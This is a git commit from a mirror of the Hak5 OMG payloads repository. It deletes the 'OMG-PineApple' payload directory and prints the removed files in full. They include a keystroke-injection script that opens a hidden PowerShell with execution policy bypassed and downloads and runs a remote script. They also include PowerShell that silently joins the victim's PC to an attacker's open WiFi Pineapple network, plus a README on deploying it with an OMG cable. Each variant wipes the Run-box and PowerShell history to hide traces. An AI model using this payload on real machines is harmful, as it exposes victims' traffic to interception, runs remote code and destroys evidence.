mirror of https://github.com/hak5/omg-payloads.git
Delete payloads/library/general/OMG-PineApple directory
parent
a0b89f3d3c
commit
6c5b5189b2
|
@ -1,13 +0,0 @@
|
|||
REM Title: OMG-PineApple
|
||||
REM Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it
|
||||
REM This version of the payload is executed using an invoke web-request to download and execute the file to add the PineApple's network profile
|
||||
REM The powershell script needed is provided as OMG-PineApple.ps1
|
||||
REM Author: I am Jakoby
|
||||
REM Target: Windows 10, 11
|
||||
|
||||
REM This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it
|
||||
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
|
||||
ENTER
|
|
@ -1,29 +0,0 @@
|
|||
$profilefile="Home.xml"
|
||||
$SSID="PineApple"
|
||||
$SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
|
||||
$xmlfile="<?xml version=""1.0""?>
|
||||
<WLANProfile xmlns=""http://www.microsoft.com/networking/WLAN/profile/v1"">
|
||||
<name>$SSID</name>
|
||||
<SSIDConfig>
|
||||
<SSID>
|
||||
<hex>$SSIDHEX</hex>
|
||||
<name>$SSID</name>
|
||||
</SSID>
|
||||
</SSIDConfig>
|
||||
<connectionType>ESS</connectionType>
|
||||
<connectionMode>manual</connectionMode>
|
||||
<MSM>
|
||||
<security>
|
||||
<authEncryption>
|
||||
<authentication>open</authentication>
|
||||
<encryption>none</encryption>
|
||||
<useOneX>false</useOneX>
|
||||
</authEncryption>
|
||||
</security>
|
||||
</MSM>
|
||||
</WLANProfile>
|
||||
"
|
||||
$XMLFILE > ($profilefile)
|
||||
netsh wlan add profile filename="$($profilefile)"
|
||||
netsh wlan connect name=$SSID
|
||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSreadlineOption).HistorySavePath
|
|
@ -1,79 +0,0 @@
|
|||
|
||||
REM Title: OMG-PineApple
|
||||
REM Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it
|
||||
REM Author: I am Jakoby
|
||||
REM Target: Windows 10, 11
|
||||
|
||||
DELAY 1000
|
||||
|
||||
REM If the wifi pineapple SSID is detected target PC will connect to it
|
||||
|
||||
IF_PRESENT SSID="PineApple"
|
||||
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell
|
||||
DELAY 500
|
||||
ENTER
|
||||
|
||||
STRING $profilefile="Home.xml";
|
||||
SHIFT ENTER
|
||||
STRING $SSID="PineApple";
|
||||
SHIFT ENTER
|
||||
STRING $SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
|
||||
SHIFT ENTER
|
||||
DELAY 500
|
||||
STRING $xmlfile="<?xml version=""1.0""?>
|
||||
SHIFT ENTER
|
||||
STRING <WLANProfile xmlns=""http://www.microsoft.com/networking/WLAN/profile/v1"">
|
||||
SHIFT ENTER
|
||||
STRING <name>$SSID</name>
|
||||
SHIFT ENTER
|
||||
STRING <SSIDConfig>
|
||||
SHIFT ENTER
|
||||
STRING <SSID>
|
||||
SHIFT ENTER
|
||||
STRING <hex>$SSIDHEX</hex>
|
||||
SHIFT ENTER
|
||||
STRING <name>$SSID</name>
|
||||
SHIFT ENTER
|
||||
STRING </SSID>
|
||||
SHIFT ENTER
|
||||
STRING </SSIDConfig>
|
||||
SHIFT ENTER
|
||||
STRING <connectionType>ESS</connectionType>
|
||||
SHIFT ENTER
|
||||
STRING <connectionMode>manual</connectionMode>
|
||||
SHIFT ENTER
|
||||
STRING <MSM>
|
||||
SHIFT ENTER
|
||||
STRING <security>
|
||||
SHIFT ENTER
|
||||
STRING <authEncryption>
|
||||
SHIFT ENTER
|
||||
STRING <authentication>open</authentication>
|
||||
SHIFT ENTER
|
||||
STRING <encryption>none</encryption>
|
||||
SHIFT ENTER
|
||||
STRING <useOneX>false</useOneX>
|
||||
SHIFT ENTER
|
||||
STRING </authEncryption>
|
||||
SHIFT ENTER
|
||||
STRING </security>
|
||||
SHIFT ENTER
|
||||
STRING </MSM>
|
||||
SHIFT ENTER
|
||||
STRING </WLANProfile>
|
||||
SHIFT ENTER
|
||||
STRING "
|
||||
SHIFT ENTER
|
||||
STRING $XMLFILE > ($profilefile)
|
||||
SHIFT ENTER
|
||||
STRING netsh wlan add profile filename="$($profilefile)"
|
||||
SHIFT ENTER
|
||||
STRING netsh wlan connect name=$SSID
|
||||
SHIFT ENTER
|
||||
STRING reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||
|
||||
DELAY 500
|
||||
ENTER
|
|
@ -1,103 +0,0 @@
|
|||
![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG-AcidBurn/logo-170-px.png?raw=true)
|
||||
|
||||
<!-- TABLE OF CONTENTS -->
|
||||
<details>
|
||||
<summary>Table of Contents</summary>
|
||||
<ol>
|
||||
<li><a href="#Description">Description</a></li>
|
||||
<li><a href="#getting-started">Getting Started</a></li>
|
||||
<li><a href="#Contributing">Contributing</a></li>
|
||||
<li><a href="#Version-History">Version History</a></li>
|
||||
<li><a href="#Contact">Contact</a></li>
|
||||
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||
</ol>
|
||||
</details>
|
||||
|
||||
# OMG-PineApple
|
||||
|
||||
A script used to connect a targets PC to your wifi PineApple
|
||||
|
||||
## Description
|
||||
|
||||
This program will use the OMG Cables geofencing capabilities to try and detect the Wifi PineApples wireless access point
|
||||
It will generate an XML file that will be used to create a network profile for your Wifi PineApple.
|
||||
Depending on your method of execution the XML file will either be manually entered into a powershell window
|
||||
or you may use and Invoke Web-Request to download a script to add the network profile. After either the history of
|
||||
the powershell window and run box will be erased for a clean exit.
|
||||
|
||||
## Getting Started
|
||||
|
||||
### Dependencies
|
||||
|
||||
* DropBox or another File Hosting service - Your Shared link for the intended file
|
||||
* Windows 10,11
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
### Executing program
|
||||
|
||||
* Plug in OMG Cable
|
||||
* Either the entire script will be manually entered into the powershell window or
|
||||
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||
* PS1 file to download is provided above
|
||||
```
|
||||
powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
|
||||
```
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Contributing
|
||||
|
||||
All contributors names will be listed here
|
||||
|
||||
I am Jakoby
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Version History
|
||||
|
||||
* 0.1
|
||||
* Initial Release
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- CONTACT -->
|
||||
## Contact
|
||||
|
||||
<div><h2>I am Jakoby</h2></div>
|
||||
<p><br/>
|
||||
|
||||
<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50">
|
||||
|
||||
<a href="https://github.com/I-Am-Jakoby/">
|
||||
<img src="https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue">
|
||||
</a>
|
||||
|
||||
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||
<img src="https://img.shields.io/badge/Instagram-i__am__jakoby-red">
|
||||
</a>
|
||||
|
||||
<a href="https://twitter.com/I_Am_Jakoby/">
|
||||
<img src="https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue">
|
||||
</a>
|
||||
|
||||
<a href="https://www.youtube.com/c/IamJakoby/">
|
||||
<img src="https://img.shields.io/badge/YouTube-I_am_Jakoby-red">
|
||||
</a>
|
||||
|
||||
Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/OMG-PineApple)
|
||||
</p>
|
||||
|
||||
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- ACKNOWLEDGMENTS -->
|
||||
## Acknowledgments
|
||||
|
||||
* [Hak5](https://hak5.org/)
|
||||
* [MG](https://github.com/OMG-MG)
|
||||
|
||||
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
Loading…
Reference in New Issue